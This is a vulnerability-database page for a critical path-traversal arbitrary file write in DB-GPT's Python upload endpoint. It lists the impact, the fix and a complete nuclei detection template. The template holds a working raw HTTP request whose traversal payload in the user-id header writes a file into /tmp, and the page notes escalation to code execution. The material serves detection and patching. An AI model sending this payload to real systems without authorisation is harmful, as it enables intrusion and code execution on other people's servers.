HexBrain

Browse / CVEs / CVE-2026-73034

CVE-2026-73034· eosphoros / db-gpt· CWE-22

DB-GPT <= 0.8.1 - Arbitrary File Write

criticalseverity
9.8CVSS score
5.7%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

DB-GPT through 0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.

Impact

Arbitrary file write as the DB-GPT process user, which can be escalated to remote code execution by writing to Python startup hooks, cron directories or agent scripts.

Fix

Upgrade DB-GPT to a version that validates the user_id header and confines the resolved upload path to the python_uploads directory.

How to confirm it

Send: POST /api/v1/python/file/upload
Positive when: contains "\"success\":true" and "/tmp/{{fname}}.py" AND contains in content_type "application/json" AND status 200 AND not contains "python_uploads"

Run it with nuclei: nuclei -id CVE-2026-73034 -u <target>

The full check
id: CVE-2026-73034

info:
  name: DB-GPT <= 0.8.1 - Arbitrary File Write
  author: iacker
  severity: critical
  description: |
    DB-GPT through 0.8.1 allows unauthenticated arbitrary file writes via a path traversal in the user_id HTTP header of the POST /api/v1/python/file/upload endpoint, letting attackers escape the intended upload directory and write files anywhere, as confirmed by the reflected upload path in the JSON response.
  impact: |
    Arbitrary file write as the DB-GPT process user, which can be escalated to remote code execution by writing to Python startup hooks, cron directories or agent scripts.
  remediation: |
    Upgrade DB-GPT to a version that validates the user_id header and confines the resolved upload path to the python_uploads directory.
  reference:
    - https://www.vulncheck.com/advisories/db-gpt-path-traversal-arbitrary-file-write-via-user-id-header
    - https://github.com/eosphoros-ai/DB-GPT/issues/3104
    - https://github.com/eosphoros-ai/DB-GPT/commit/e0c741bd2b5e521b128cffb3f68982dde3f7b359
    - https://nvd.nist.gov/vuln/detail/CVE-2026-73034
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-73034
    epss-score: 0.05703
    epss-percentile: 0.93079
    cwe-id: CWE-22
    cpe: cpe:2.3:a:eosphoros:db-gpt:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eosphoros
    product: db-gpt
    shodan-query: http.favicon.hash:100632689
    fofa-query: icon_hash="100632689"
  tags: cve,cve2026,dbgpt,eosphoros,lfi,traversal,file-write,intrusive

variables:
  fname: "{{rand_base(9)}}"
  boundary: "{{rand_int(100000000, 999999999)}}"

http:
  - raw:
      - |
        POST /api/v1/python/file/upload HTTP/1.1
        Host: {{Hostname}}
        user-id: ../../../../../../../../../../tmp
        Content-Type: multipart/form-data; boundary=----boundary{{boundary}}

        ------boundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{fname}}.py"
        Content-Type: text/x-python

        print("{{fname}}")
        ------boundary{{boundary}}--

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "\"success\":true"
          - "/tmp/{{fname}}.py"
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "python_uploads"
        negative: true

    extractors:
      - type: json
        json:
          - ".data"

References

Use this check only on systems you are authorised to test. Where the data comes from